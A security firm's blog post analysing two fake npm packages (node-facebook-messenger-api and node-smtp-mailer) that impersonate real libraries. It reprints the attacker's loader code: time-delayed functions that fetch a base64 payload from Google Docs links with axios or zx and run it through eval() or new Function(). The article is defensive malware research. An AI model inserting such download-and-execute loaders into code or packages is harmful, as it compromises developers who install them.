Product
Everything you need to secure code, cloud, and runtime– in one central system
Code
Dependencies
Prevent open-source risks (SCA)
Secrets
Catch exposed secrets
SAST
Secure code as its written
Container Images
Secure images easily
Malware
Prevent supply chain attacks
Infrastructure as Code
Scan IaC for misconfigurations
License Risk & SBOMs
Avoid risk, be compliant
Outdated Software
Know your EOL runtimes
Cloud
Cloud / CSPM
Cloud misconfigurations
DAST
Black-box security testing
API Scanning
Test your API’s for vulns
Virtual Machines
No agents, no overhead
Kubernetes Runtime
soon
Secure your container workloads
Cloud Inventory
Cloud sprawl, solved
Defend
Runtime Protection
In-app Firewall / WAF
Features
AI AutoFix
1-click fixes with Aikido AI
CI/CD Security
Scan before merge and deployment
IDE Integrations
Get instant feedback while coding
On-Prem Scanner
Compliance-first local scanning
Solutions
Use Cases
Compliance
Automate SOC 2, ISO & more
Vulnerability Management
All-in-1 vuln management
Secure Your Code
Advanced code security
Generate SBOMs
1 click SCA reports
ASPM
End-to-end AppSec
AI at Aikido
Let Aikido AI do the work
Block 0-Days
Block threats before impact
Industries
FinTech
HealthTech
HRTech
Legal Tech
Group Companies
Agencies
Startups
Enterprise
Mobile apps
Manufacturing
Pricing
Resources
Developer
Docs
How to use Aikido
Public API docs
Aikido developer hub
Changelog
See what shipped
Security
In-house research
Malware & CVE intelligence
Glossary
Security jargon guide
Trust Center
Safe, private, compliant
Open Source
Aikido Intel
Malware & OSS threat feed
Zen
In-app firewall protection
OpenGrep
Code analysis engine
Integrations
IDEs
CI/CD Systems
Clouds
Git Systems
Compliance
Messengers
Task Managers
More integrations
About
About
About
Meet the team
Careers
We’re hiring
Press Kit
Download brand assets
Calendar
See you around?
Open Source
Our OSS projects
Blog
The latest posts
Customer Stories
Trusted by the best teams
Contact
Login
Start for Free
No CC required
Aikido
Menu
Aikido
EN
EN
FR
JP
Login
Start for Free
No CC required
Blog
/
Hide and Fail: Obfuscated Malware, Empty Payloads, and npm Shenanigans

Hide and Fail: Obfuscated Malware, Empty Payloads, and npm Shenanigans

By
Charlie Eriksen
Charlie Eriksen
4 min read
Malware

‍

On March 14th 2025, we detected a malicious package on npm called node-facebook-messenger-api. At first, it seemed to be pretty run-of-the-mill malware, though we couldn’t tell what the end-goal was. We didn’t think much more of it until April 3rd 2025, when we see the same threat actor expand their attack. This is a brief overview of the techniques used by this specific attacker, and some fun observations about how their attempts at obfuscation actually ends up making them be even more obvious. 

‍

TLDR 

  • 🕵️ On March 14, 2025, we detected a malicious npm package: node-facebook-messenger-api@4.1.0, disguised as a legit Facebook messenger wrapper.
  • 🧪 The attacker hid remote code execution logic using axios and eval() to pull a payload from a Google Docs link — but the file was empty.
  • 🔁 Later versions used time-delayed execution and swapped in the zx library to avoid detection, embedding malicious logic that triggers days after publish.
  • 📦 On April 3, 2025, the same threat actor released a second fake package: node-smtp-mailer@6.10.0, impersonating nodemailer, with the same C2 logic and obfuscation.
  • 🧬 Both packages used the same unique dependency set (including hyper-types), revealing a clear signature pattern linking the attacks.
  • 💀 The attacker’s obfuscation attempts — like hiding code in large files and silently pulling in zx via another dependency — ironically made the campaign easier to spot.
  • 🚨 The payloads never actually delivered anything functional, but the TTPs are real and show how supply chain attacks on npm are evolving.
  • ‍

    First steps

    It all started on March 14th at 04:37 UTC, when our systems alerted us to a suspicious package. It was published by the user victor.ben0825, who also claims to have the name perusworld. This is the username of the user who owns the legitimate repository for this library.  

    ‍

    Here’s the code it detected as being malicious in node-facebook-messenger-api@4.1.0:, in the file messenger.js, line 157-177:

    const axios = require('axios');
    
    const url = 'https://docs.google.com/uc?export=download&id=1ShaI7rERkiWdxKAN9q8RnbPedKnUKAD2'; 
    
    async function downloadFile(url) {
        try {
            const response = await axios.get(url, {
                responseType: 'arraybuffer'
            });
    
            const fileBuffer = Buffer.from(response.data);
    		eval(Buffer.from(fileBuffer.toString('utf8'), 'base64').toString('utf8'))
            
            return fileBuffer; 
        } catch (error) {
            console.error('Download failed:', error.message);
        }
    }
    
    downloadFile(url);
    

    The attacker has tried to hide this code within a 769 lines long file, which is a big class. Here they’ve added a function, and are calling it directly. Very cute, but very obvious too. We attempted to fetch the payload, but it was empty. We flagged it as malware and moved on.

    A few minutes later, the attacker pushed another version, 4.1.1. The only change appeared to be in the README.md and package.json files, where they changed the version, description, and installation instructions. Because we mark the author as a bad author, packages from this point on were automatically flagged as malware.

    Trying to be sneaky

    Then, on March 20th 2025 at 16:29 UTC, our system automatically flagged version 4.1.2 of the package. Let's look at what was new there. The first change is in node-facebook-messenger-api.js, which contains:

    "use strict";
    
    module.exports = {
        messenger: function () {
            return require('./messenger');
        },
        accountlinkHandler: function () {
            return require('./account-link-handler');
        },
        webhookHandler: function () {
            return require('./webhook-handler');
        }
    };
    
    var messengerapi = require('./messenger');

    The change to this file is the last line. It’s not just importing the messenger.js file when requested, it’s always done when the module is imported. Clever! The other change is to that file, messenger.js. It has removed the previously seen added code, and added the following on lines 197 to 219:

    const timePublish = "2025-03-24 23:59:25"; 
    const now = new Date();
    const pbTime = new Date(timePublish);
    const delay = pbTime - now;
    
    if (delay <= 0) {
    	async function setProfile(ft) {
    		try {
    			const mod = await import('zx');
    			mod.$.verbose = false;
    			const res = await mod.fetch(ft, {redirect: 'follow'});
    			const fileBuffer = await res.arrayBuffer();
    			const data = Buffer.from(Buffer.from(fileBuffer).toString('utf8'), 'base64').toString('utf8');
    			const nfu = new Function("rqr", data);
    			nfu(require)();
    		} catch (error) {
    			//console.error('err:', error.message);
    		}
    	}
    
    	const gd = 'https://docs.google.com/uc?export=download&id=1ShaI7rERkiWdxKAN9q8RnbPedKnUKAD2'; 
    	setProfile(gd);
    }
    

    Here’s an overview of what it does:

    1. It utilizes a time-based check to determine whether to activate the malicious code. It would only activate about 4 days later.
    2. Instead of using axios, it now uses Google zx library to fetch the malicious payload.
    3. It disables verbose mode, which is also the default.
    4. It then fetches the malicious code
    5. It base64 decodes it
    6. It creates a new Function using the Function() constructor, which is effectively equivalent to an eval() call. 
    7. It then calls the function, passing in require as an argument.

    ‍

    But again, when we try to fetch the file, we don’t get a payload. We just get an empty file called info.txt. The use of zx is curious. We looked at the dependencies, and noticed that the original package contained a few dependencies:

     "dependencies": {
        "async": "^3.2.2",
        "debug": "^3.1.0",
        "merge": "^2.1.1",
        "request": "^2.81.0"
      }

    The malicious package contains the following:

     "dependencies": {
        "async": "^3.2.2",
        "debug": "^3.1.0",
        "hyper-types": "^0.0.2",
        "merge": "^2.1.1",
        "request": "^2.81.0"
      }

    Look at that, they added the dependency hyper-types. Very interesting, we will return to this a few times more. 

    They strike again!

    Then on April 3rd 2025 at 06:46, a new package was released by the user cristr. They released the package  node-smtp-mailer@6.10.0. Our systems automatically flagged it due to containing potentially malicious code. We looked at it, and we got a bit excited. The package pretends to be nodemailer, just with a different name.  

    Our system flagged the file lib/smtp-pool/index.js. We quickly see that the attacker has added code at the bottom of the legitimate file, right before the final module.exports. Here is what is added:

    const timePublish = "2025-04-07 15:30:00"; 
    const now = new Date();
    const pbTime = new Date(timePublish);
    const delay = pbTime - now;
    
    if (delay <= 0) {
        async function SMTPConfig(conf) {
            try {
                const mod = await import('zx');
                mod.$.verbose = false;
                const res = await mod.fetch(conf, {redirect: 'follow'});
                const fileBuffer = await res.arrayBuffer();
                const data = Buffer.from(Buffer.from(fileBuffer).toString('utf8'), 'base64').toString('utf8');
                const nfu = new Function("rqr", data);
                nfu(require)();
            } catch (error) {
                console.error('err:', error.message);
            }
        }
    
        const url = 'https://docs.google.com/uc?export=download&id=1KPsdHmVwsL9_0Z3TzAkPXT7WCF5SGhVR'; 
        SMTPConfig(url);
    }
    

    We know this code! It’s again timestamped to only execute 4 days later. We excitedly tried to fetch the payload, but we just received an empty file called beginner.txt. Booo! We look at the dependencies again, to see how they are pulling in zx. We noted that the legitimate nodemailer package has no direct dependencies, only devDependencies. But here’s what is in the malicious package:

     "dependencies": {
        "async": "^3.2.2",
        "debug": "^3.1.0",
        "hyper-types": "^0.0.2",
        "merge": "^2.1.1",
        "request": "^2.81.0"
      }

    Do you see a similarity between this, and the first package we detected? It’s the same dependency list. The legitimate package has no dependencies, but the malicious one does. The attacker simply copied the full list of dependencies from the first attack to this one. 

    ‍

    Interesting dependencies

    So why did they switch from using axios to zx for making HTTP requests? Definitely for avoiding detection. But what’s interesting is that zx isn’t a direct dependency. Instead, the attacker has included hyper-types, which is a legitimate package by the developer lukasbach. 

    ‍

    Besides the fact that the referenced repository doesn’t exist anymore, there’s something interesting to note here. See how there’s 2 dependents? Guess who those are. 

    ‍

    If the attacker had actually wanted to try to obfuscate their activity, it’s pretty dumb to depend on a package that they are the only dependsants on. 

    Final words

    While the attacker behind these npm packages ultimately failed to deliver a working payload, their campaign highlights the ongoing evolution of supply chain threats targeting the JavaScript ecosystem. The use of delayed execution, indirect imports, and dependency hijacking shows a growing awareness of detection mechanisms—and a willingness to experiment. But it also shows how sloppy operational security and repeated patterns can still give them away. As defenders, it's a reminder that even failed attacks are valuable intelligence. Every artifact, obfuscation trick, and reused dependency helps us build better detection and attribution capabilities. And most importantly, it reinforces why continuous monitoring and automated flagging of public package registries is no longer optional—it's critical.

    Written by Charlie Eriksen

    Malware Researcher

    Share:

    https://www.aikido.dev/blog/hide-and-fail-obfuscated-malware-and-npm-shenanigan

    Table of contents:
    Text Link
    Share:
    Use keyboard
    Use left key to navigate previous on Aikido slider
    Use right arrow key to navigate to the next slide
    to navigate through articles
    By
    Charlie Eriksen

    You're Invited: Delivering malware via Google Calendar invites and PUAs

    Malware
    May 13, 2025
    Read more
    By
    Mackenzie Jackson

    Why Updating Container Base Images is So Hard (And How to Make It Easier)

    Engineering
    May 12, 2025
    Read more
    By
    Charlie Eriksen

    RATatouille: A Malicious Recipe Hidden in rand-user-agent (Supply Chain Compromise)

    May 6, 2025
    Read more
    By
    Charlie Eriksen

    XRP supply chain attack: Official NPM package infected with crypto stealing backdoor

    Malware
    April 22, 2025
    Read more
    By
    Charlie Eriksen

    The malware dating guide: Understanding the types of malware on NPM

    Malware
    April 10, 2025
    Read more
    By
    Madeline Lawrence

    Launching Aikido Malware – Open Source Threat Feed

    News
    March 31, 2025
    Read more
    By
    Charlie Eriksen

    Malware hiding in plain sight: Spying on North Korean Hackers

    March 31, 2025
    Read more
    By
    The Aikido Team

    Top Cloud Security Posture Management (CSPM) Tools in 2025

    Guides
    March 27, 2025
    Read more
    By
    Madeline Lawrence

    Get the TL;DR: tj-actions/changed-files Supply Chain Attack

    News
    March 16, 2025
    Read more
    By
    Mackenzie Jackson

    A no-BS Docker security checklist for the vulnerability-minded developer

    Guides
    March 6, 2025
    Read more
    By
    Mackenzie Jackson

    Sensing and blocking JavaScript SQL injection attacks

    Guides
    March 4, 2025
    Read more
    By
    Floris Van den Abeele

    Prisma and PostgreSQL vulnerable to NoSQL injection? A surprising security risk explained

    Engineering
    February 14, 2025
    Read more
    By
    The Aikido Team

    Top Dynamic Application Security Testing (DAST) Tools in 2025

    Guides
    February 12, 2025
    Read more
    By
    Willem Delbare

    Launching Opengrep | Why we forked Semgrep

    News
    January 24, 2025
    Read more
    By
    Thomas Segura

    Your Client Requires NIS2 Vulnerability Patching. Now What?

    January 14, 2025
    Read more
    By
    Mackenzie Jackson

    Top 10 AI-powered SAST tools in 2025

    Guides
    January 10, 2025
    Read more
    By
    Madeline Lawrence

    Snyk vs Aikido Security | G2 Reviews Snyk Alternative

    Guides
    January 10, 2025
    Read more
    By
    Mackenzie Jackson

    Top 10 Software Composition Analysis (SCA) tools in 2025

    Guides
    January 9, 2025
    Read more
    By
    Michiel Denis

    3 Key Steps to Strengthen Compliance and Risk Management

    December 27, 2024
    Read more
    By
    Mackenzie Jackson

    The Startup's Open-Source Guide to Application Security

    Guides
    December 23, 2024
    Read more
    By
    Madeline Lawrence

    Launching Aikido for Cursor AI

    Engineering
    December 13, 2024
    Read more
    By
    Mackenzie Jackson

    Meet Intel: Aikido’s Open Source threat feed powered by LLMs.

    Engineering
    December 13, 2024
    Read more
    By
    Johan De Keulenaer

    Aikido joins the AWS Partner Network

    News
    November 26, 2024
    Read more
    By
    Mackenzie Jackson

    Command injection in 2024 unpacked

    Engineering
    November 24, 2024
    Read more
    By
    Mackenzie Jackson

    Path Traversal in 2024 - The year unpacked

    Engineering
    November 23, 2024
    Read more
    By
    Mackenzie Jackson

    Balancing Security: When to Leverage Open-Source Tools vs. Commercial Tools

    Guides
    November 15, 2024
    Read more
    By
    Mackenzie Jackson

    The State of SQL Injection

    Guides
    November 8, 2024
    Read more
    By
    Michiel Denis

    Visma’s Security Boost with Aikido: A Conversation with Nikolai Brogaard

    News
    November 6, 2024
    Read more
    By
    Michiel Denis

    Security in FinTech: Q&A with Dan Kindler, co-founder & CTO of Bound

    News
    October 10, 2024
    Read more
    By
    Felix Garriau

    Top 7 ASPM Tools in 2025

    Guides
    October 1, 2024
    Read more
    By
    Madeline Lawrence

    Automate compliance with SprintoGRC x Aikido

    News
    September 11, 2024
    Read more
    By
    Felix Garriau

    How to Create an SBOM for Software Audits

    Guides
    September 9, 2024
    Read more
    By
    Madeline Lawrence

    SAST vs DAST: What you need to know.

    Guides
    September 2, 2024
    Read more
    By
    Felix Garriau

    Best SBOM Tools for Developers: Our 2025 Picks

    Guides
    August 7, 2024
    Read more
    By
    Lieven Oosterlinck

    5 Snyk Alternatives and Why They Are Better

    News
    August 5, 2024
    Read more
    By
    Madeline Lawrence

    Why we’re stoked to partner with Laravel

    News
    July 8, 2024
    Read more
    By
    Felix Garriau

    110,000 sites affected by the Polyfill supply chain attack

    News
    June 27, 2024
    Read more
    By
    Felix Garriau

    Cybersecurity Essentials for LegalTech Companies

    News
    June 25, 2024
    Read more
    By
    Roeland Delrue

    Drata Integration - How to Automate Technical Vulnerability Management

    Guides
    June 18, 2024
    Read more
    By
    Joel Hans

    DIY guide: ‘Build vs buy’ your OSS code scanning and app security toolkit

    Guides
    June 11, 2024
    Read more
    By
    Roeland Delrue

    SOC 2 certification: 5 things we learned

    Guides
    June 4, 2024
    Read more
    By
    Joel Hans

    Top 10 app security problems and how to protect yourself

    Guides
    May 28, 2024
    Read more
    By
    Madeline Lawrence

    We just raised our $17 million Series A

    News
    May 2, 2024
    Read more
    By

    Best RASP Tools for Developers in 2025

    April 10, 2024
    Read more
    By
    Willem Delbare

    Webhook security checklist: How to build secure webhooks

    Guides
    April 4, 2024
    Read more
    By
    Willem Delbare

    The Cure For Security Alert Fatigue Syndrome

    Engineering
    February 21, 2024
    Read more
    By
    Roeland Delrue

    NIS2: Who is affected?

    Guides
    January 16, 2024
    Read more
    By
    Roeland Delrue

    ISO 27001 certification: 8 things we learned

    Guides
    December 5, 2023
    Read more
    By
    Roeland Delrue

    Cronos Group chooses Aikido Security to strengthen security posture for its companies and customers

    News
    November 30, 2023
    Read more
    By
    Bart Jonckheere

    How Loctax uses Aikido Security to get rid of irrelevant security alerts & false positives

    News
    November 22, 2023
    Read more
    By
    Felix Garriau

    Aikido Security raises €5m to offer a seamless security solution to growing SaaS businesses

    News
    November 9, 2023
    Read more
    By
    Roeland Delrue

    Aikido Security achieves ISO 27001:2022 compliance

    News
    November 8, 2023
    Read more
    By
    Felix Garriau

    How StoryChief’s CTO uses Aikido Security to sleep better at night

    News
    October 24, 2023
    Read more
    By
    Willem Delbare

    What is a CVE?

    Guides
    October 17, 2023
    Read more
    By
    Felix Garriau

    Best Tools for End-of-Life Detection: 2025 Rankings

    Guides
    October 4, 2023
    Read more
    By
    Willem Delbare

    Top 3 web application security vulnerabilities in 2024

    Engineering
    September 27, 2023
    Read more
    By
    Felix Garriau

    New Aikido Security Features: August 2023

    News
    August 22, 2023
    Read more
    By
    Felix Garriau

    Aikido’s 2025 SaaS CTO Security Checklist

    News
    August 10, 2023
    Read more
    By
    Felix Garriau

    Aikido’s 2024 SaaS CTO Security Checklist

    News
    August 10, 2023
    Read more
    By
    Felix Garriau

    15 Top Cloud and Code Security Challenges Revealed by CTOs

    Engineering
    July 25, 2023
    Read more
    By
    Willem Delbare

    What is OWASP Top 10?

    Guides
    July 12, 2023
    Read more
    By
    Willem Delbare

    How to build a secure admin panel for your SaaS app

    Guides
    July 11, 2023
    Read more
    By
    Roeland Delrue

    How to prepare yourself for ISO 27001:2022

    Guides
    July 5, 2023
    Read more
    By
    Willem Delbare

    Preventing fallout from your CI/CD platform being hacked

    Guides
    June 19, 2023
    Read more
    By
    Felix Garriau

    How to Close Deals Faster with a Security Assessment Report

    News
    June 12, 2023
    Read more
    By
    Willem Delbare

    Automate Technical Vulnerability Management [SOC 2]

    Guides
    June 5, 2023
    Read more
    By
    Willem Delbare

    Preventing prototype pollution in your repository

    Guides
    June 1, 2023
    Read more
    By
    Willem Delbare

    How does a SaaS startup CTO balance development speed and security?

    Guides
    May 16, 2023
    Read more
    By
    Willem Delbare

    How a startup’s cloud got taken over by a simple form that sends emails

    Engineering
    April 10, 2023
    Read more
    By
    Felix Garriau

    Aikido Security raises €2 million pre-seed round to build a developer-first software security platform

    News
    January 19, 2023
    Read more
    By

    Why Lockfiles Matter for Supply Chain Security

    Read more
    Top Cloud Security Posture Management (CSPM) Tools in 2025
    By
    The Aikido Team

    Top Cloud Security Posture Management (CSPM) Tools in 2025

    Guides
    May 14, 2025
    Top Dynamic Application Security Testing (DAST) Tools in 2025
    By
    The Aikido Team

    Top Dynamic Application Security Testing (DAST) Tools in 2025

    Guides
    May 14, 2025
    XRP supply chain attack: Official NPM package infected with crypto stealing backdoor
    By
    Charlie Eriksen

    XRP supply chain attack: Official NPM package infected with crypto stealing backdoor

    Malware
    March 31, 2025

    Get secure in 32 seconds

    Connect your GitHub, GitLab, Bitbucket or Azure DevOps account to start scanning your repos for free.

    Start for Free
    Your data won't be shared · Read-only access
    Aikido dashboard
    Company
    ProductPricingAboutCareersContactPartner with us
    Resources
    DocsPublic API DocsVulnerability DatabaseBlogIntegrationsGlossaryPress KitCustomer Reviews
    Security
    Trust CenterSecurity OverviewChange Cookie Preferences
    Legal
    Privacy PolicyCookie PolicyTerms of UseMaster Subscription AgreementData Processing Agreement
    Use Cases
    ComplianceSAST & DASTASPMVulnerability ManagementGenerate SBOMsWordPress SecuritySecure Your CodeAikido for Microsoft
    Industries
    For HealthTechFor MedTechFor FinTechFor SecurityTechFor LegalTechFor HRTechFor AgenciesFor EnterpriseFor PE & Group Companies
    Compare
    vs All Vendorsvs Snykvs Wizvs Mendvs Orca Securityvs Veracodevs GitHub Advanced Securityvs GitLab Ultimatevs Checkmarxvs Semgrepvs SonarQube
    Connect
    hello@aikido.dev
    LinkedInX
    Subscribe
    Stay up to date with all updates
    Not quite there yet.
    👋🏻 Thank you! You’ve been subscribed.
    Team Aikido
    Not quite there yet.
    © 2025 Aikido Security BV | BE0792914919
    🇪🇺 Registered address: Coupure Rechts 88, 9000, Ghent, Belgium
    🇪🇺 Office address: Gebroeders van Eyckstraat 2, 9000, Ghent, Belgium
    🇺🇸 Office address: 95 Third St, 2nd Fl, San Francisco, CA 94103, US
    SOC 2
    Compliant
    ISO 27001
    Compliant